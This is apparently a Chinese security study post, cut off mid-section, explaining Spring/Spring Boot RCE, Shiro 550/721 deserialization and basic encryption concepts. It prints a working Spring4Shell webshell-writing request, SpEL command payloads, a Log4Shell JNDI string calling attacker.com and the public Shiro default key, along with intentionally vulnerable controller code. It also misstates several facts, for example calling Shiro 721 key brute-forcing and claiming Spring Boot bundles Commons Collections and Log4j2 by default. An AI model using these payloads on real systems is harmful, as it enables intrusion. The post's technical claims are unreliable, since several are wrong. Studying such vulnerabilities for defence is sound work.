【网安基础】--Spring/Spring Boot RCE 解析与 Shiro 反序列化漏洞的关联（包括简易加密方式梳理）

最近面试被问到有没有系统地总结关于spring的rce，于是有了这篇系统总结文（附赠一些关联的思路及其总结）。其实之前更多只是了解，没有很好地去归纳总结，导致印象有限，总的来说还是要多学多复习多实战，学无止境！！！

[Spring/Spring Boot RCE 解析及与 Shiro 反序列化漏洞的核心关联](#Spring/Spring Boot RCE 解析及与 Shiro 反序列化漏洞的核心关联)
- [一、Spring 框架 RCE 漏洞深度解析](#一、Spring 框架 RCE 漏洞深度解析)
- - [1. 参数绑定缺陷：Spring Core RCE（CVE-2022-22965，Spring4Shell）](#1. 参数绑定缺陷：Spring Core RCE（CVE-2022-22965，Spring4Shell）)
  - - [（1）核心触发条件（缺一不可）](#（1）核心触发条件（缺一不可）)
    - [（2）底层利用原理（完整技术链路）](#（2）底层利用原理（完整技术链路）)
    - [（3）典型恶意请求示例](#（3）典型恶意请求示例)
  - [2. SPEL 表达式注入：Spring 生态共性 RCE（底层原理+高危场景）](#2. SPEL 表达式注入：Spring 生态共性 RCE（底层原理+高危场景）)
  - - [（1） SPEL 表达式执行原理](#（1） SPEL 表达式执行原理)
    - [（2）高危场景1：Spring Cloud Function RCE（CVE-2022-22963）](#（2）高危场景1：Spring Cloud Function RCE（CVE-2022-22963）)
    - [（3）高危场景2：Spring Data Commons RCE（CVE-2018-1273）](#（3）高危场景2：Spring Data Commons RCE（CVE-2018-1273）)
    - [（4）开发者编码缺陷导致的 SPEL 注入（典型危险代码）](#（4）开发者编码缺陷导致的 SPEL 注入（典型危险代码）)
  - [3. 反序列化缺陷：Spring 应用衍生 RCE（依赖第三方组件+技术链路）](#3. 反序列化缺陷：Spring 应用衍生 RCE（依赖第三方组件+技术链路）)
  - - [（1）核心依赖组件：Apache Commons Collections（CC 链）](#（1）核心依赖组件：Apache Commons Collections（CC 链）)
    - [（2）其他第三方组件：Jackson/Fastjson](#（2）其他第三方组件：Jackson/Fastjson)
  - [Spring RCE 漏洞核心归纳（深度版）](#Spring RCE 漏洞核心归纳（深度版）)
- [二、Spring Boot RCE 漏洞深度解析](#二、Spring Boot RCE 漏洞深度解析)
- - [1. 依赖组件漏洞（核心场景，高危）](#1. 依赖组件漏洞（核心场景，高危）)
  - [2. 危险配置与 Actuator 端点滥用（深度细化）](#2. 危险配置与 Actuator 端点滥用（深度细化）)
  - - [（1） Actuator 端点未授权访问（高危风险点）](#（1） Actuator 端点未授权访问（高危风险点）)
    - [（2）其他不安全默认配置](#（2）其他不安全默认配置)
  - [3. 开发者编码不规范（典型场景+代码缺陷）](#3. 开发者编码不规范（典型场景+代码缺陷）)
  - - [（1）命令注入（最典型场景）](#（1）命令注入（最典型场景）)
    - [（2）文件上传漏洞（间接触发 RCE）](#（2）文件上传漏洞（间接触发 RCE）)
- 三、对称加密与非对称加密核心区别（含公钥私钥详解）
- - （一）核心概念定义
  - - [1. 对称加密（Symmetric Encryption）](#1. 对称加密（Symmetric Encryption）)
    - [2. 非对称加密（Asymmetric Encryption）](#2. 非对称加密（Asymmetric Encryption）)
    - [3. 公钥与私钥（非对称加密核心组件）](#3. 公钥与私钥（非对称加密核心组件）)
    - - [（1）公钥（Public Key）](#（1）公钥（Public Key）)
      - [（2）私钥（Private Key）](#（2）私钥（Private Key）)
  - （二）对称加密与非对称加密核心区别对照表
  - （三）核心工作流程对比
  - - [1. 对称加密工作流程（以 AES 为例）](#1. 对称加密工作流程（以 AES 为例）)
    - [2. 非对称加密工作流程（以 RSA 为例）](#2. 非对称加密工作流程（以 RSA 为例）)
    - - （1）数据加密传输场景
      - （2）数字签名验签场景（身份认证）
  - （四）实际应用：两者互补使用
  - （五）核心总结
- [四、Shiro 漏洞深度解析（550/721核心区别+对称加密原理）](#四、Shiro 漏洞深度解析（550/721核心区别+对称加密原理）)
- - [1. Shiro 550（CVE-2016-4437）：默认密钥导致的未授权反序列化 RCE](#1. Shiro 550（CVE-2016-4437）：默认密钥导致的未授权反序列化 RCE)
  - - [（1）核心漏洞根源（三重缺陷叠加）](#（1）核心漏洞根源（三重缺陷叠加）)
    - [（2）对称加密（AES）核心原理与利用流程](#（2）对称加密（AES）核心原理与利用流程)
    - [（3）核心特点与影响范围](#（3）核心特点与影响范围)
    - [（4）自定义密钥配置示例（修复后推荐配置）](#（4）自定义密钥配置示例（修复后推荐配置）)
  - [2. Shiro 721（CVE-2019-12422）：随机密钥下的授权后反序列化 RCE](#2. Shiro 721（CVE-2019-12422）：随机密钥下的授权后反序列化 RCE)
  - - [（1）核心漏洞根源（反序列化缺陷未完全修复）](#（1）核心漏洞根源（反序列化缺陷未完全修复）)
    - [（2）利用条件与技术链路（难度显著高于 550）](#（2）利用条件与技术链路（难度显著高于 550）)
    - [（3）核心特点与影响范围](#（3）核心特点与影响范围)
  - [3. Shiro 550 与 Shiro 721 核心区别](#3. Shiro 550 与 Shiro 721 核心区别)
  - [4. Shiro 通用 `rememberMe` 处理流程](#4. Shiro 通用 rememberMe 处理流程)
- [五、Shiro 漏洞与 Spring/Spring Boot RCE 的核心关联](#五、Shiro 漏洞与 Spring/Spring Boot RCE 的核心关联)
- - [1. 核心关联点（技术与场景绑定）](#1. 核心关联点（技术与场景绑定）)
  - - [（1）组件依赖共生：CC 链是共同执行基础](#（1）组件依赖共生：CC 链是共同执行基础)
    - [（2）应用场景高度重叠：Spring Boot 是主要部署载体](#（2）应用场景高度重叠：Spring Boot 是主要部署载体)
    - [（3）技术机理同源：Java 反序列化漏洞通用逻辑](#（3）技术机理同源：Java 反序列化漏洞通用逻辑)
  - [2. 核心区别（明确边界，避免混淆）](#2. 核心区别（明确边界，避免混淆）)
  - [3. 联合防御策略（覆盖两者风险）](#3. 联合防御策略（覆盖两者风险）)
- 五、总结

Spring/Spring Boot RCE 解析及与 Shiro 反序列化漏洞的核心关联

在 Java 企业级应用生态中，Spring 框架、Spring Boot 快速开发脚手架与 Apache Shiro 安全框架的组合极为普及，三者相关的 RCE（远程代码执行）漏洞因危害大、利用成熟，长期占据安全漏洞榜单前列。本文将从底层原理、技术细节、触发链路等维度，深度拆解 Spring/Spring Boot RCE 的核心逻辑，同时细化 Shiro 550、Shiro 721 的漏洞本质、对称加密原理及核心区别，并全面梳理两者的关联与差异，为深度安全防护提供技术支撑。

一、Spring 框架 RCE 漏洞深度解析

Spring 框架的 RCE 漏洞并非单一类型，核心源于参数绑定缺陷、SPEL 表达式注入、反序列化缺陷三大底层机理，每个机理均包含完整的技术链路与触发条件，以下进行深度拆解：

1. 参数绑定缺陷：Spring Core RCE（CVE-2022-22965，Spring4Shell）

该漏洞是 Spring 核心 Web 组件的原生高危漏洞，底层源于 Spring MVC 参数绑定机制与 Tomcat 类加载器的协同缺陷，技术细节如下：

（1）核心触发条件（缺一不可）

JDK 版本：JDK 9 及以上（依赖 JDK 9+ 的 Module 机制与 ClassLoader 权限变更）；
部署方式：Spring Boot 应用以 WAR 包形式部署（内嵌 Tomcat 或独立 Tomcat 服务器），JAR 包部署场景风险较低；
应用类型：基于 Spring MVC 或 Spring WebFlux 的 Web 应用；
组件版本：Spring 5.2.x ~ 5.3.x、Spring 4.3.x ~ 4.3.30（对应 Spring Boot 1.5.x ~ 2.6.x）。

（2）底层利用原理（完整技术链路）

参数绑定漏洞触发 ：Spring MVC 的 DataBinder 组件在进行参数绑定时，支持对 JavaBean 对象的嵌套属性进行自动赋值（如 user.address.city）。攻击者构造恶意 HTTP POST 请求，通过特殊参数名（如 class.module.classLoader.resources.context.parent.pipeline.first.pattern），将恶意数据注入 Tomcat HttpServletRequest 对象的嵌套属性中；
类加载器篡改 ：借助 JDK 9+ 废弃 sun.misc.Launcher 类的权限控制，绕过 Java 安全管理器限制，篡改 HttpServletRequest 对象对应的 ClassLoader（类加载器）为 TomcatEmbeddedWebappClassLoader；
恶意类加载执行 ：篡改后的类加载器会加载 Tomcat webapps 目录下的恶意 JSP 文件（攻击者可通过参数绑定写入恶意 JSP 内容），JSP 文件在加载时执行静态代码块中的系统命令，最终实现 RCE；
核心关键：漏洞的本质是 Spring MVC 参数绑定的"过度灵活"，允许攻击者篡改核心容器对象的属性，进而控制类加载流程，实现恶意代码执行。

（3）典型恶意请求示例

http 复制代码

POST /xxx HTTP/1.1
Host: target:8080
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%{c2}i%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.lang.Runtime.getRuntime().exec(request.getParameter(%22cmd%22));%20%7D%20%25%{c1}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=malicious
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

2. SPEL 表达式注入：Spring 生态共性 RCE（底层原理+高危场景）

SPEL（Spring Expression Language）是 Spring 生态内置的表达式语言，用于简化 Java 代码的动态调用，其注入漏洞的核心是"未对用户可控输入进行过滤，直接执行 SPEL 表达式"，底层技术细节如下：

（1） SPEL 表达式执行原理

SPEL 支持通过 T() 操作符调用 Java 原生类、通过反射执行任意方法，例如：

正常表达式：T(java.lang.Math).abs(-10)（执行 Math 类的 abs 方法，返回 10）；
恶意表达式：T(java.lang.Runtime).getRuntime().exec("whoami")（通过反射调用 Runtime 类，执行系统命令）；
Spring 应用在解析 SPEL 表达式时，若表达式内容可由用户控制，且未做任何过滤，将直接触发 RCE。

（2）高危场景1：Spring Cloud Function RCE（CVE-2022-22963）

核心缺陷：Spring Cloud Function 支持通过 spring.cloud.function.routing-expression 请求头指定函数路由，该请求头的值会被作为 SPEL 表达式直接解析；
利用链路：

攻击者构造 HTTP 请求，在请求头中注入恶意 SPEL 表达式；
Spring Cloud Function 框架解析路由表达式时，未对表达式进行合法性校验；
恶意 SPEL 表达式通过反射执行系统命令，实现无授权 RCE；

恶意请求头示例：spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("rm -rf /tmp/test")
影响版本：Spring Cloud Function 3.0.x、3.2.x、4.0.x（Spring Boot 2.4.x ~ 2.6.x 集成该组件后受影响）。

（3）高危场景2：Spring Data Commons RCE（CVE-2018-1273）

核心缺陷：Spring Data 在处理查询条件时，支持通过 SPEL 表达式动态构造查询语句，用户传入的查询参数会被作为 SPEL 表达式解析；
利用链路：攻击者通过 URL 参数注入恶意 SPEL 表达式，例如 http://target:8080/users?username=T(java.lang.Runtime).getRuntime().exec("whoami")，Spring Data 解析查询参数时触发 RCE；
核心关键：Spring Data 对用户输入的"信任过度"，未区分正常查询参数与恶意 SPEL 表达式。

（4）开发者编码缺陷导致的 SPEL 注入（典型危险代码）

java 复制代码

@RestController
@RequestMapping("/user")
public class UserController {
    @GetMapping("/query")
    public String queryUser(@RequestParam String condition) {
        // 直接将用户输入作为 SPEL 表达式解析，存在严重注入风险
        SpelExpressionParser parser = new SpelExpressionParser();
        StandardEvaluationContext context = new StandardEvaluationContext();
        Expression expression = parser.parseExpression(condition);
        Object result = expression.getValue(context);
        return "查询结果：" + result.toString();
    }
}

上述代码中，condition 参数完全由用户控制，攻击者传入恶意 SPEL 表达式即可直接触发 RCE。

3. 反序列化缺陷：Spring 应用衍生 RCE（依赖第三方组件+技术链路）

Spring 框架原生的 ObjectInputStream 反序列化逻辑较安全，但 Spring 应用（尤其是 Spring Boot）通常会集成第三方序列化组件，这些组件的缺陷会导致衍生 RCE，核心细节如下：

（1）核心依赖组件：Apache Commons Collections（CC 链）

CC 链原理：Commons Collections 中的 Transformer 接口（及其实现类 InvokerTransformer、ChainedTransformer）支持动态反射调用 Java 方法，攻击者可构造恶意 Transformer 链，绑定到 LazyMap 等集合类中，当反序列化时触发 readObject() 方法，进而执行恶意代码；
Spring 应用的风险：Spring Boot 默认集成 Commons Collections 组件（用于增强集合功能），若未升级至 3.2.2+ 版本（该版本禁用了 InvokerTransformer 的危险反射调用），攻击者构造基于 CC 链的恶意序列化数据，通过 Spring 应用的业务接口（如接收序列化对象的接口）传入，即可触发 RCE；
典型利用链路：恶意 Java 序列化对象 → Spring 应用反序列化（调用 ObjectInputStream.readObject()）→ 触发 CC 链 → 反射执行系统命令 → RCE。

（2）其他第三方组件：Jackson/Fastjson

Jackson 反序列化漏洞：当 Spring Boot 开启 Jackson 多态类型处理（MapperFeature.DEFAULT_VIEW_INCLUSION 或 DeserializationFeature.ACCEPT_EMPTY_STRING_AS_NULL_OBJECT）时，攻击者构造恶意 JSON 数据，指定恶意 Java 类（如 javax.script.ScriptEngineManager），Jackson 反序列化时实例化该类并执行恶意代码；
Fastjson 反序列化漏洞：Spring Boot 集成 Fastjson 后，若开启自动类型推断（默认开启），攻击者通过 @type 字段指定恶意类（如 com.sun.rowset.JdbcRowSetImpl），通过 JNDI 注入实现 RCE。

Spring RCE 漏洞核心归纳（深度版）

漏洞机理	底层技术细节	触发关键	防御核心
参数绑定缺陷	Spring MVC 嵌套属性绑定 + Tomcat 类加载器篡改 + JDK 9+ 权限绕过	WAR 包部署 + JDK 9+ + 非安全版本	升级 Spring 版本 + 改为 JAR 包部署
SPEL 表达式注入	`T()` 操作符调用原生类 + 反射执行方法 + 用户输入未过滤	可控 SPEL 表达式 + 无校验解析	过滤 SPEL 关键字 + 禁用危险操作符
反序列化缺陷	第三方组件利用链（CC 链） + `readObject()` 方法触发 + 序列化数据可控	低版本第三方组件 + 无校验反序列化	升级组件版本 + 过滤序列化数据

组件类型	核心组件	高危版本范围	修复版本	漏洞传播性
Spring 核心 Web	Spring MVC / WebFlux	5.2.x_{5.3.x、4.3.x}4.3.30	5.3.18+、4.3.31+	极高（默认集成）
Spring 微服务	Spring Cloud Function	3.0.x、3.2.x、4.0.x	3.1.0、3.2.3、4.0.1+	中高（微服务场景）
Spring 数据访问	Spring Data Commons	1.13.x_{1.13.10、2.0.x}2.0.5	1.13.11+、2.0.6+	中（数据访问场景）

二、Spring Boot RCE 漏洞深度解析

Spring Boot 作为 Spring 框架的快速开发脚手架，本身无原生 RCE 漏洞，其 RCE 风险是 Spring 组件漏洞、危险配置、开发者编码缺陷的叠加结果，以下对核心场景进行深度细化：

1. 依赖组件漏洞（核心场景，高危）

Spring Boot 默认集成大量 Spring 生态组件与第三方组件，这些组件的漏洞会直接传导至 Spring Boot 应用，核心细节如下：

组件依赖关系：Spring Boot 2.6.x 对应 Spring 5.3.x，默认集成 Spring MVC、Spring Data、Commons Collections、Log4j2 等组件，若组件未单独升级，将直接受对应漏洞影响；
典型案例：

Spring4Shell：Spring Boot 2.6.x 及以下版本以 WAR 包部署时，直接受 Spring Core 漏洞影响；
Log4Shell：Spring Boot 2.4.x ~ 2.6.x 默认集成 Log4j2 2.14.1 及以下版本，攻击者通过恶意日志输入（如 \${jndi:ldap://attacker.com/malicious}）触发 RCE；
Shiro 550：Spring Boot 集成 Shiro 1.2.4 及以下版本时，受 Shiro 反序列化漏洞影响。

2. 危险配置与 Actuator 端点滥用（深度细化）

Spring Boot 提供的便捷配置与 Actuator 监控端点，若未做安全加固，会成为 RCE 的"跳板"，核心细节如下：

（1） Actuator 端点未授权访问（高危风险点）

核心端点风险：

端点路径	风险描述	利用链路
`/actuator/env`	泄露应用配置（数据库密码、AES 密钥、第三方服务地址）	获取 Shiro 密钥 → 配合 Shiro 550/721 触发 RCE
`/actuator/jolokia`	支持 JMX 接口调用，可执行危险操作（如加载恶意类、执行系统命令）	直接调用 `java.lang.Runtime` 相关 JMX 接口 → RCE
`/actuator/beans`	泄露 Spring 容器中所有 Bean 信息，辅助攻击者构造利用链	获取业务 Bean 信息 → 配合 SPEL 注入触发 RCE

安全配置示例（application.yml，深度加固）：

yaml 复制代码

management:
  endpoints:
    web:
      exposure:
        include: health,info  # 仅暴露必要端点，禁用 env、jolokia 等危险端点
      base-path: /admin/actuator  # 自定义端点路径，提高攻击者发现难度
    enabled-by-default: false  # 默认禁用所有端点，按需开启
  endpoint:
    health:
      show-details: when_authorized  # 仅授权用户可见健康详情
      probes:
        enabled: true
  server:
    address: 127.0.0.1  # 仅本地可访问，外部需通过反向代理+认证访问
  security:
    enabled: true  # 开启端点认证
spring:
  security:
    user:
      name: admin
      password: ${ADMIN_PASSWORD:随机复杂密码}  # 环境变量注入密码，避免硬编码

（2）其他不安全默认配置

远程调试开启：Spring Boot 启动参数添加 -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:8000，监听所有 IP 的 8000 端口，攻击者可通过 JDWP 协议注入恶意代码，实现 RCE；
配置文件暴露：application.properties/application.yml 放置在 Web 根目录（如 src/main/webapp），攻击者通过 http://target:8080/application.properties 访问，获取敏感配置；
端口无防护：8080、9000、3306 等端口直接暴露在公网，无防火墙/安全组限制，攻击者通过端口扫描发现漏洞并利用。

3. 开发者编码不规范（典型场景+代码缺陷）

开发者在 Spring Boot 开发中若未遵循安全编码规范，会人为引入 RCE 漏洞，核心场景如下：

（1）命令注入（最典型场景）

危险代码（直接拼接用户输入执行系统命令）：

java 复制代码

@RestController
@RequestMapping("/tool")
public class ToolController {
    @GetMapping("/exec")
    public String execCommand(@RequestParam String cmd) {
        try {
            // 直接将用户输入作为命令执行，存在严重命令注入风险
            ProcessBuilder pb = new ProcessBuilder(cmd.split(" "));
            Process process = pb.start();
            // 读取命令执行结果
            BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
            StringBuilder sb = new StringBuilder();
            String line;
            while ((line = br.readLine()) != null) {
                sb.append(line).append("\n");
            }
            return sb.toString();
        } catch (Exception e) {
            return "执行失败：" + e.getMessage();
        }
    }
}

攻击方式：访问 http://target:8080/tool/exec?cmd=whoami 执行系统命令，若传入 cmd=rm -rf / 可造成系统瘫痪；
安全改进：使用白名单限制可执行命令，禁止用户动态拼接命令参数。

（2）文件上传漏洞（间接触发 RCE）

危险代码（未校验文件类型与内容）：

java 复制代码

@RestController
@RequestMapping("/upload")
public class UploadController {
    @PostMapping("/file")
    public String uploadFile(@RequestParam("file") MultipartFile file) {
        try {
            // 未校验文件后缀，允许上传 .jsp 等恶意文件
            String fileName = file.getOriginalFilename();
            String filePath = "src/main/webapp/upload/" + fileName;
            File dest = new File(filePath);
            file.transferTo(dest);
            return "上传成功：" + filePath;
        } catch (Exception e) {
            return "上传失败：" + e.getMessage();
        }
    }
}

利用链路：攻击者上传 malicious.jsp（包含 <% Runtime.getRuntime().exec("whoami"); %>），通过 http://target:8080/upload/malicious.jsp 访问，触发 RCE；
安全改进：使用文件后缀白名单（如 .jpg、.png）、校验文件头部内容、将上传文件存储在非 Web 访问目录。

三、对称加密与非对称加密核心区别（含公钥私钥详解）

（一）核心概念定义

1. 对称加密（Symmetric Encryption）

定义：加密和解密使用同一把共享密钥的加密技术，密钥需在通信双方之间保密传输。
核心特点："一把钥匙开一把锁"，密钥是唯一且共享的。
代表算法：AES（应用最广）、DES（已淘汰）、3DES、RC4。

2. 非对称加密（Asymmetric Encryption）

定义：加密和解密使用成对的两把密钥（公钥+私钥），两把密钥功能分工明确，无法相互推导。
核心特点："公钥加密、私钥解密；私钥签名、公钥验签"，密钥无需保密传输。
代表算法：RSA（兼容性强）、ECC（高效轻量化）、DSA（仅用于签名）。

3. 公钥与私钥（非对称加密核心组件）

（1）公钥（Public Key）

属性：公开可见，可通过网络、邮件等任意方式自由分发，泄露无安全风险。
功能：仅能用于加密数据（给私钥所有者发送机密）、验证私钥生成的数字签名（确认身份合法性）。
生成逻辑：由私钥通过不可逆数学算法推导而来，一个私钥对应唯一公钥。

（2）私钥（Private Key）

属性：严格保密，仅由密钥所有者持有和保管，绝对不能泄露（泄露则加密体系完全失效）。
功能：仅能解密对应公钥加密的数据、生成数字签名（不可伪造，用于身份认证）。
生成逻辑：作为密钥对的核心，先生成私钥，再基于私钥推导公钥。

（二）对称加密与非对称加密核心区别对照表

对比维度	对称加密（如 AES）	非对称加密（如 RSA/ECC）
密钥数量与使用	1把共享密钥，加密/解密用同一把密钥	2把成对密钥（公钥+私钥），公钥加密/验签、私钥解密/签名
密钥分发难度	难度高，需通过安全通道传输（否则易被窃取）	难度低，公钥可公开传输，无需安全通道
加密/解密速度	极快（硬件级优化支持），适合大批量数据加密	较慢（涉及大整数分解/椭圆曲线运算），适合小数据加密/签名
安全性依赖	依赖密钥长度和算法强度（AES-256 安全性极高）	依赖算法数学复杂度（RSA-2048 及以上才安全）
核心用途	1. 大批量数据加密（文件、传输流）；2. 本地数据加密；3. 实时通信加密	1. 小数据加密（登录令牌、敏感参数）；2. 数字签名（身份认证/防篡改）；3. 加密对称密钥（解决分发问题）
安全风险	密钥泄露则全量数据可被解密	私钥泄露则数据解密/签名伪造，公钥泄露无影响
数学原理	基于替换、置换、异或等简单数学运算	基于大整数分解（RSA）、椭圆曲线离散对数（ECC）等不可逆算法
典型应用场景	磁盘加密、VPN 加密、HTTPS 数据传输阶段	HTTPS 握手阶段（密钥交换）、SSH 登录认证、数字证书、区块链签名

（三）核心工作流程对比

1. 对称加密工作流程（以 AES 为例）

通信双方提前通过安全方式（线下约定、加密U盘）共享同一把 AES 密钥；
发送方用该密钥加密原始数据，生成密文；
密文通过网络传输给接收方；
接收方用同一把密钥解密密文，恢复原始数据。

2. 非对称加密工作流程（以 RSA 为例）

（1）数据加密传输场景

接收方生成公钥+私钥，将公钥公开发送给发送方；
发送方用接收方的公钥加密原始数据，生成密文；
密文通过网络传输给接收方；
接收方用自己的私钥解密，恢复原始数据（第三方即使获取公钥和密文也无法解密）。

（2）数字签名验签场景（身份认证）

发送方用自己的私钥对原始数据生成数字签名；
发送方将原始数据+数字签名一起传输给接收方；
接收方用发送方的公钥验证数字签名；
验签通过→确认数据来自发送方且未被篡改；验签失败→数据被篡改或非发送方发送。

（四）实际应用：两者互补使用

单独使用某一种加密技术存在局限，实际场景中多结合使用（取长补短）：

用非对称加密解决"对称密钥分发"问题：发送方生成 AES 密钥（用于加密大数据），用接收方的公钥加密该 AES 密钥，一起发送给接收方；
用对称加密保证"传输效率"：大数据量用对称加密（速度快），小数据（密钥、签名）用非对称加密（安全、易分发）；
典型案例：HTTPS 协议（握手阶段用非对称加密交换对称密钥，数据传输阶段用对称加密）、文件加密传输、银行转账认证。

（五）核心总结

对称加密："快、简"，适合大数据加密，但密钥分发难；
非对称加密："安全、易分发"，适合小数据/签名，但速度慢；
公钥私钥：非对称加密的核心，公钥对外公开、私钥绝对保密，分工明确；
实际应用：两者互补，非对称加密解决"密钥安全分发"，对称加密解决"大数据高效加密"。

我的理解belike：

四、Shiro 漏洞深度解析（550/721核心区别+对称加密原理）

Apache Shiro 作为 Java 主流安全框架，其 Shiro 550（反序列化 RCE）与 Shiro 721（反序列化 RCE 升级版）是两类核心高危漏洞，两者在密钥机制、利用条件、版本依赖上存在本质区别，以下进行深度拆解：

1. Shiro 550（CVE-2016-4437）：默认密钥导致的未授权反序列化 RCE

（1）核心漏洞根源（三重缺陷叠加）

AES 密钥硬编码 ：Shiro 1.2.4 及以下版本使用固定硬编码 AES 密钥（kPH+bIxk5D2deZiIxcaaaA==），该密钥全网公开，攻击者可直接获取并用于加密恶意数据；
登录流程校验顺序缺陷 ：Shiro 1.2.4 之前的登录流程逻辑为「先验证 rememberMe Cookie → 再进行身份认证」，攻击者可直接伪造 rememberMe Cookie 绕过登录校验，无需已知合法用户会话；
反序列化无过滤 ：Shiro 解密 rememberMe Cookie 后，直接对序列化数据执行反序列化操作，未校验对象类型合法性，恶意对象可触发利用链执行代码。

（2）对称加密（AES）核心原理与利用流程

Shiro 550 的利用完全依赖"已知密钥+校验顺序缺陷"，完整流程如下：

Shiro 正常 rememberMe 处理流程 ：
- 加密：用户勾选"记住我"登录 → 序列化 PrincipalCollection（用户身份对象）→ AES 加密（硬编码密钥）→ Base64 编码 → 生成 rememberMe Cookie；
- 解密：用户再次访问 → 读取 rememberMe Cookie → Base64 解码 → AES 解密（硬编码密钥）→ 反序列化 → 恢复用户身份 → 免登录访问。
攻击者利用流程 ：
- 构造恶意序列化对象：基于 CC 链（Commons Collections 利用链），构造包含系统命令（如 nc 反弹 Shell）的 Java 序列化对象；
- 加密恶意对象：使用公开的硬编码 AES 密钥，对恶意序列化对象执行「AES 加密 → Base64 编码」，生成恶意 rememberMe Cookie；
- 发送恶意请求：直接向目标应用发送 HTTP 请求，携带恶意 rememberMe Cookie；
- 触发 RCE：Shiro 按默认流程解密 → 反序列化 → 触发 CC 链 → 执行恶意命令，实现未授权 RCE（无需登录，无需合法会话）。

（3）核心特点与影响范围

利用难度：极低（公开密钥+无需登录+成熟 EXP）；
影响版本：Shiro 1.2.4 及以下版本（Spring Boot 集成该版本后直接受影响）；
关键前提：目标应用集成 Commons Collections 3.2.1 及以下版本（存在 CC 链缺陷）；
修复核心：
1. 升级 Shiro 至 1.2.5+（修复登录校验顺序，改为「先身份认证 → 再验证 rememberMe」）；
2. 移除硬编码密钥，强制用户自定义随机 AES 密钥；
3. 对反序列化对象添加类型校验。

（4）自定义密钥配置示例（修复后推荐配置）

java 复制代码

@Configuration
public class ShiroConfig {
    @Bean
    public DefaultRememberMeManager rememberMeManager() {
        DefaultRememberMeManager manager = new DefaultRememberMeManager();
        // 自定义 16位/24位/32位随机密钥（推荐通过环境变量注入，避免硬编码）
        byte[] key = Base64.getDecoder().decode(System.getenv("SHIRO_REMEMBER_ME_KEY"));
        manager.setCipherKey(key);
        return manager;
    }
}

2. Shiro 721（CVE-2019-12422）：随机密钥下的授权后反序列化 RCE

（1）核心漏洞根源（反序列化缺陷未完全修复）

Shiro 1.2.5+ 版本修复了 550 漏洞的 "硬编码密钥" 和 "校验顺序" 问题，但 rememberMe Cookie 加密时未添加完整性校验（如 HMAC 签名），攻击者获取合法 Cookie 后，可爆破密钥并篡改 Cookie 中的序列化数据，触发反序列化 RCE：

密钥机制变更 ：Shiro 1.2.5+ 不再使用硬编码密钥，改为「系统启动时随机生成 AES 密钥」或「用户自定义密钥」，攻击者无法通过公开密钥伪造 rememberMe Cookie；
登录流程变更 ：调整为「先身份认证 → 再验证 rememberMe」，必须通过合法登录或持有有效会话才能触发 rememberMe 处理逻辑；
反序列化缺陷残留 ：Shiro 仍未对反序列化对象进行严格过滤，若攻击者能获取合法用户的 rememberMe Cookie，可通过该 Cookie 爆破密钥或直接篡改内容，触发反序列化 RCE。

（2）利用条件与技术链路（难度显著高于 550）

Shiro 721 的利用依赖"合法 Cookie+密钥爆破/篡改"，核心条件与流程如下：

前置条件（缺一不可） ：
- 已知目标应用的合法 rememberMe Cookie（需通过钓鱼、会话劫持、泄露等方式获取）；
- 目标应用 Shiro 版本为 1.2.5 ~ 1.4.0（该区间版本未修复反序列化过滤缺陷）；
- 目标应用集成 Commons Collections 等存在利用链的组件。
核心利用方式 ：
- 方式1：密钥爆破。通过合法 rememberMe Cookie 反向爆破 AES 密钥（需遍历可能的密钥组合，效率较低，但存在成功案例）；
- 方式2：Cookie 篡改。利用合法 rememberMe Cookie 的结构特征，替换其中的序列化数据为恶意对象（需保证密钥一致，适用于可获取密钥场景）；
触发流程 ：
- 攻击者获取合法 rememberMe Cookie → 爆破 AES 密钥 → 用该密钥加密恶意序列化对象 → 替换 Cookie 内容 → 发送请求 → Shiro 解密+反序列化 → 触发 RCE；
- 核心区别：Shiro 721 是「授权后 RCE」（需合法 Cookie），Shiro 550 是「未授权 RCE」（无需任何合法信息）。

（3）核心特点与影响范围

利用难度：中高（需合法 Cookie+密钥爆破，成功率低于 550）；
影响版本：Shiro 1.2.5 ~ 1.4.0 版本（Spring Boot 集成该区间版本受影响）；
关键前提：获取合法用户的 rememberMe Cookie（攻击门槛显著提升）；
修复核心：
1. 升级 Shiro 至 1.4.1+（添加反序列化对象白名单，禁止危险类反序列化）；
2. 缩短 rememberMe Cookie 有效期，降低泄露后被利用的风险；
3. 对 rememberMe Cookie 添加签名校验，防止篡改。

3. Shiro 550 与 Shiro 721 核心区别

对比维度	Shiro 550（CVE-2016-4437）	Shiro 721（CVE-2019-12422）
漏洞类型	未授权反序列化 RCE	授权后反序列化 RCE
AES 密钥机制	硬编码公开密钥（已知）	系统随机生成/用户自定义（未知）
登录流程校验顺序	先验证 `rememberMe` → 身份认证	先身份认证 → 验证 `rememberMe`
利用前置条件	无需登录，无需合法会话	需获取合法用户 `rememberMe` Cookie
利用难度	极低（公开 EXP 直接利用）	中高（需爆破密钥/篡改 Cookie）
影响版本范围	Shiro 1.2.4 及以下	Shiro 1.2.5 ~ 1.4.0
核心触发逻辑	伪造 `rememberMe` 绕过登录 → 反序列化 RCE	利用合法 `rememberMe` → 爆破密钥 → 篡改 Cookie → 反序列化 RCE
修复核心措施	升级版本+自定义随机密钥	升级版本+反序列化白名单+Cookie 签名

4. Shiro 通用 `rememberMe` 处理流程

无论是 Shiro 550 还是 721，其核心触发点均为 rememberMe Cookie 的处理流程，统一流程如下：

检索请求中的 rememberMe Cookie 值；
对 Cookie 值进行 Base64 解码；
使用 AES 密钥（硬编码/随机生成）进行解密；
对解密后的字节数组执行反序列化操作；
恢复对象（用户身份/恶意对象）并执行后续逻辑；

漏洞差异本质：密钥是否已知 +是否需要合法会话 +反序列化是否过滤。

五、Shiro 漏洞与 Spring/Spring Boot RCE 的核心关联

Shiro 550/721 与 Spring/Spring Boot RCE 存在技术机理关联+组件依赖关联+应用场景关联，但漏洞根源与触发条件完全独立，核心关联点如下：

1. 核心关联点（技术与场景绑定）

（1）组件依赖共生：CC 链是共同执行基础

两者的反序列化 RCE 均依赖第三方利用链，其中 CC 链是最核心的"执行桥梁"：

Shiro 550/721：仅提供"反序列化入口"（rememberMe Cookie），需依赖 CC 链（Commons Collections 缺陷）才能执行恶意命令；
